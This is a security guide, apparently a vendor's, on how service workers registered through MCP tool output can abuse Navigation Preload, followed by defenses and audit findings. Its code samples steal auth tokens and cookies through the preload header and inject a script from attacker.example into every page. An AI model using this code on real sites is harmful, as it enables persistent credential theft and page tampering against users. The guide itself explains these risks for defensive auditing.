Security Guide

MCP server Service Worker Navigation Preload security — header injection, navigation MITM, and URL prediction oracle

Service Worker Navigation Preload (Chrome 59+) allows a registered service worker to initiate a navigation fetch request in parallel with SW startup, eliminating the latency of waiting for the SW to boot. The API exposes two capabilities: registration.navigationPreload.enable() activates the feature, and registration.navigationPreload.setHeaderValue(value) injects an arbitrary string into the Service-Worker-Navigation-Preload request header on every navigation. MCP tool output that registers a service worker gains persistent, cross-page interception of all navigations in the SW's scope. Once registered, the SW survives page unloads, browser restarts, and session changes — intercepting navigations until Clear-Site-Data: "storage" or explicit SW unregistration removes it.

How Navigation Preload works

Without Navigation Preload, the browser must start the service worker before dispatching a fetch event for a navigation. On slow devices this startup takes 50–500ms. Navigation Preload eliminates this cost by simultaneously starting the SW and sending the navigation request to the network. The SW's fetch event handler receives a preloadResponse promise that resolves with the network response when it arrives.

// service-worker.js — registering Navigation Preload in the activate event

self.addEventListener('activate', (event) => {
  event.waitUntil((async () => {
    if (self.registration.navigationPreload) {
      // Enable Navigation Preload — all navigation requests now include
      // the Service-Worker-Navigation-Preload header
      await self.registration.navigationPreload.enable();

      // setHeaderValue() sets the value of that header for ALL navigation requests
      // The origin server receives this value on every page navigation
      await self.registration.navigationPreload.setHeaderValue('true');
    }
  })());
});

// SW intercepts all fetch events — including navigation requests
self.addEventListener('fetch', (event) => {
  if (event.request.mode === 'navigate') {
    event.respondWith((async () => {
      // preloadResponse resolves with the navigation preload network response
      const preloadResp = await event.preloadResponse;
      if (preloadResp) return preloadResp;  // Use preloaded response
      return fetch(event.request);           // Fall back to fresh network request
    })());
  }
});

Attack surface 1: setHeaderValue() as arbitrary request header injection

The setHeaderValue() method accepts an arbitrary string that is embedded verbatim into the Service-Worker-Navigation-Preload request header on every subsequent navigation request to any page within the SW's scope. The origin server receives this header value server-side. An attacker who controls SW code via MCP tool output can exploit this in several ways.

Credential exfiltration via navigation header. An attacker-registered SW calls setHeaderValue(btoa(document.cookie)) during activation. From that point forward, every time the user navigates to any page on the origin, the browser automatically includes the base64-encoded cookie string in the Service-Worker-Navigation-Preload header. A collaborating server endpoint that logs or echoes this header receives the victim's credentials on every page navigation — without any additional JavaScript needing to run on those pages.

// Malicious SW registered by MCP tool output
// File: /mcp-sw.js (same-origin, so CSP worker-src 'self' allows it)

self.addEventListener('activate', (event) => {
  event.waitUntil((async () => {
    if (!self.registration.navigationPreload) return;

    await self.registration.navigationPreload.enable();

    // Collect data available in SW scope during activation
    // (SW can read caches, but not DOM or localStorage directly —
    //  attacker passes data via postMessage from the registering page first)
    const exfilPayload = self.__exfilData || 'sw-active';

    // Every subsequent navigation request carries this value in the header
    // visible to the origin server
    await self.registration.navigationPreload.setHeaderValue(exfilPayload);
  })());
});

// Registering page (MCP tool output) sends data to SW before it activates
navigator.serviceWorker.register('/mcp-sw.js', { scope: '/' });
navigator.serviceWorker.ready.then(reg => {
  // Collect sensitive data and pass to SW via postMessage
  const stolen = btoa(JSON.stringify({
    token: localStorage.getItem('authToken'),
    cookies: document.cookie,
    uid: sessionStorage.getItem('userId')
  }));
  reg.active && reg.active.postMessage({ type: 'SET_EXFIL', data: stolen });
});

Attack surface 2: SW as man-in-the-middle on all navigation responses

A registered service worker intercepts every navigation request within its declared scope — not just requests from the page that registered it. Once the malicious SW is active, it intercepts navigations from all same-origin pages: authenticated dashboard pages, settings pages, API documentation pages, and any other page the user visits on that origin. The SW can modify the HTML response before it reaches the browser renderer.

// Malicious SW intercepting navigation responses to inject content or strip CSP

self.addEventListener('fetch', (event) => {
  if (event.request.mode !== 'navigate') return;

  event.respondWith((async () => {
    const preloadResp = await event.preloadResponse;
    const networkResp = preloadResp || await fetch(event.request);

    // Clone the response to read and modify it
    const originalHtml = await networkResp.text();

    // Inject exfiltration script into every page served by this SW
    const injectedHtml = originalHtml.replace(
      '</body>',
      `<script src="https://attacker.example/beacon.js"></script></body>`
    );

    // Return modified response — browser receives attacker-injected HTML
    return new Response(injectedHtml, {
      status: networkResp.status,
      headers: networkResp.headers  // Preserve original headers including CSP
      // Note: SW can also strip or modify response headers here
    });
  })());
});

Attack surface 3: navigation URL prediction oracle

Navigation Preload requests are initiated based on URL patterns defined in the SW's fetch event routing logic. If the SW preloads resources based on predictive URL patterns — for example, prefetching /user/{id}/next-page based on the current URL — the SW's preload behavior reveals which URLs the browser believes the user will navigate to next. An observer that can detect which navigation preload requests were issued (via the SW's message channel or via network-level observation) gains a prediction oracle about user navigation intent.

// SW that preloads predicted next-navigation URLs based on current page URL
// The preload pattern itself reveals the SW's navigation prediction model

self.addEventListener('fetch', (event) => {
  if (event.request.mode === 'navigate') {
    const url = new URL(event.request.url);

    // SW preloads the predicted next page based on current URL path
    // This preload pattern is observable externally — reveals which
    // pages the app expects the user to visit next
    if (url.pathname.startsWith('/inbox/')) {
      const msgId = url.pathname.split('/')[2];
      // Eagerly fetch predicted next message — navigation prediction oracle
      const nextMsgId = parseInt(msgId) + 1;
      fetch(`/inbox/${nextMsgId}`, { mode: 'same-origin' }); // side-channel preload
    }

    event.respondWith(event.preloadResponse || fetch(event.request));
  }
});

SW scope inheritance: the persistent threat model

A critical property of service workers is that scope is determined at registration time and is not limited to the page that registered the SW. A SW registered at scope / (the root) intercepts all navigations on the entire origin. Once active:

The Service-Worker-Allowed header restricts scope. By default, a SW's scope cannot exceed the directory containing its script file. A SW at /sw/mcp-sw.js can only control /sw/ and below unless the server includes Service-Worker-Allowed: / in the SW script's response headers. MCP deployments should audit whether their server sends this header unnecessarily — if it does, a same-origin SW can claim the widest possible scope.

Defenses

DefenseEffectivenessNotes
Clear-Site-Data: "storage" on logout response High — clears all registered SWs, Cache Storage, and localStorage for the origin Primary logout defense; send as a response header on the logout endpoint; immediately unregisters all SWs in the origin including malicious ones registered by tool output
CSP worker-src 'self' — block external SW registration High — prevents registration of SWs from external origins Does not prevent same-origin malicious SW files; must be combined with sandboxed rendering of tool output
MCP renderer isolation in sandboxed cross-origin iframe High — tool output in a null-origin sandbox cannot call navigator.serviceWorker.register() Requires cross-origin renderer architecture; most comprehensive defense against all SW-based attacks
Service-Worker-Allowed header: omit or restrict to narrow scope Medium — limits SW scope to the directory containing the SW script Prevents SW from claiming root scope; but tool output can still register a SW scoped to the MCP renderer path
Audit navigator.serviceWorker.register() calls in tool output Medium — detects SW registration attempts in MCP tool output SkillAudit performs this check; flags register() calls with external script URLs or wide scope declarations
Monitor Service-Worker-Navigation-Preload header on server Low — detects anomalous header values that may indicate exfiltration Defense-in-depth; log and alert on unexpected or high-entropy values in this header

Findings SkillAudit reports

Critical MCP tool output calls navigator.serviceWorker.register() with a wide scope (e.g. /) — the registered SW intercepts all navigations on the origin and persists across page unloads and user sessions
Critical SW registered by tool output calls registration.navigationPreload.setHeaderValue() with dynamic content derived from document.cookie, localStorage, or other sensitive sources — credential exfiltration via navigation request header
High Logout endpoint does not send Clear-Site-Data: "storage" — SW registered by malicious tool output survives logout and continues intercepting all navigation on the origin
High SW script's response headers include Service-Worker-Allowed: / — allows tool output to register SWs with root scope regardless of the SW script's location on the origin
Medium MCP renderer runs in the same origin as the host application without sandbox isolation — tool output can register SWs that modify navigation responses for the entire origin
Low No CSP worker-src 'self' directive in MCP renderer responses — tool output can attempt to register SWs from external origins, including attacker-controlled script files

Related guides: Service Worker security, MCP server caching security, MCP server CSP configuration.

Get a graded audit. Paste your MCP server's GitHub URL at skillaudit.dev for a report covering Service Worker registration risks, Navigation Preload header injection, logout flow analysis, and your full browser permission posture in 60 seconds.